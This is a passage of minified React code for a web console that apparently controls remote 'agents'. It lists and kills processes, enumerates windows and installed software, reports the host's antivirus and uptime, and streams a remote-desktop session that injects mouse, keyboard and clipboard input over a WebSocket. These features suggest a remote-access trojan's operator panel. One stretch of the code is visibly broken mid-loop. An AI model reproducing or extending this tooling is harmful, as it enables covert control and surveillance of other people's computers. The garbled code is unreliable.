gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(z=>a.jsx(sS,{process:z,depth:0,confirmKillPid:x,killingPid:p,onKillClick:k=>g(k),onKillConfirm:j,onKillCancel:()=>g(null)},z.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function sS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(sS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function ZU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(z=>z.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const z=JSON.parse(N.output);r(z)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const A=30;v.current=setInterval(async()=>{var _;S++;try{const P=(_=(await Xn(e)).results)==null?void 0:_.find(I=>I.task_id===k);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const I=JSON.parse(P.output);r(I)}catch{l("Failed to parse installed apps data")}}else S>=A&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]);function w(k){p===k?g(S=>S==="asc"?"desc":"asc"):(h(k),g("asc"))}const N=[...d?n.filter(k=>{const S=d.toLowerCase();return k.name.toLowerCase().includes(S)||k.version.toLowerCase().includes(S)||k.publisher.toLowerCase().includes(S)}):n].sort((k,S)=>{const A=k[p]||"",_=S[p]||"",O=A.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),z=({col:k})=>p!==k?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(z,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(z,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(z,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(z,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((k,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:k.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:k.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:k.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:k.install_date||"-"})]},`${k.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function eV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const G=A.current;u(te=>te.fps===G.fps&&te.frameCount===G.frameCount&&te.dirtyTiles===G.dirtyTiles&&te.totalTiles===G.totalTiles?te:{fps:G.fps,frameCount:G.frameCount,width:G.width,height:G.height,lastFrameMs:G.lastFrameMs,dirtyTiles:G.dirtyTiles,totalTiles:G.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const Y=m.useCallback((G,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==G||C.height!==te)&&(C.width=G,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),D=m.useRef(new ArrayBuffer(5)),M=m.useRef(new DataView(D.current)),W=m.useCallback(G=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(G)},[]),$=m.useMemo(()=>({sendMouseMove:(G,te)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,G,!0),C.setUint16(3,te,!0),W(D.current)},sendMouseButton:(G,te,C,q)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,G),B.setUint8(2,te),B.setUint16(3,C,!0),B.setUint16(5,q,!0),W(ne)},sendMouseScroll:(G,te,C)=>{const q=new ArrayBuffer(7),ne=new DataView(q);ne.setUint8(0,3),ne.setInt16(1,G,!0),ne.setUint16(3,te,!0),ne.setUint16(5,C,!0),W(q)},sendKey:(G,te,C)=>{const q=new ArrayBuffer(8),ne=new DataView(q);ne.setUint8(0,4),ne.setUint8(1,G),ne.setUint16(2,te,!0),ne.setUint32(4,C,!0),W(q)},sendClipboard:G=>{const te=new TextEncoder().encode(G),C=new ArrayBuffer(5+te.length),q=new DataView(C);q.setUint8(0,5),q.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),W(C)},setQuality:G=>{I.current=G;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,G),W(te)},setViewOnly:G=>{d.current=G},sendControl:(G,te)=>{const C=new ArrayBuffer(3),q=new DataView(C);q.setUint8(0,6),q.setUint8(1,G),q.setUint8(2,te),W(C)}}),[W]),H=m.useCallback(()=>{if(!D2||f.current)return;const G=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});G.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:q,height:ne,cursorX:B,cursorY:le}=te.data;p.current(C,q,ne,B,le)}},f.current=G},[]),F=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),K=m.useCallback(()=>{if(D2||b.current!==null)return;const G=()=>{const te=y.current,C=g.current,q=w.current;if((te.length>0||C.length>0)&&q){const{canvas:ne,ctx:B}=Y(q.width,q.height);for(const le of te)B.fillStyle=`rgb(${le.r},${le.g},${le.b})`,B.fillRect(le.col*le.tileSize,le.row*le.tileSize,le.tileSize,le.tileSize);for(const le of C)B.drawImage(le.bitmap,le.col*le.tileSize,le.row*le.tileSize),le.bitmap.close();y.current=[],g.current=[],p.current(ne,q.width,q.height,q.cursorX,q.cursorY)}b.current=requestAnimationFrame(G)};b.current=requestAnimationFrame(G)},[Y]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const G of g.current)G.bitmap.close();g.current=[],y.current=[]},[]),oe=m.useCallback(()=>{if(O.current!==null)return;const G=64*1024;O.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>G&&!P.current){P.current=!0;const C=new ArrayBuffer(3),q=new DataView(C);q.setUint8(0,6),q.setUint8(1,1),q.setUint8(2,30),W(C)}else if(te.bufferedAmount<=G/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),q=new DataView(C);q.setUint8(0,6),q.setUint8(1,1),q.setUint8(2,I.current),W(C)}}},250)},[W]),de=m.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),be=m.useCallback(()=>{if(i.current)return;const G=st();if(!G)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(G)}`,q=new WebSocket(C);q.binaryType="arraybuffer",i.current=q,q.onopen=()=>{l(!0),H(),K(),oe()},q.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const 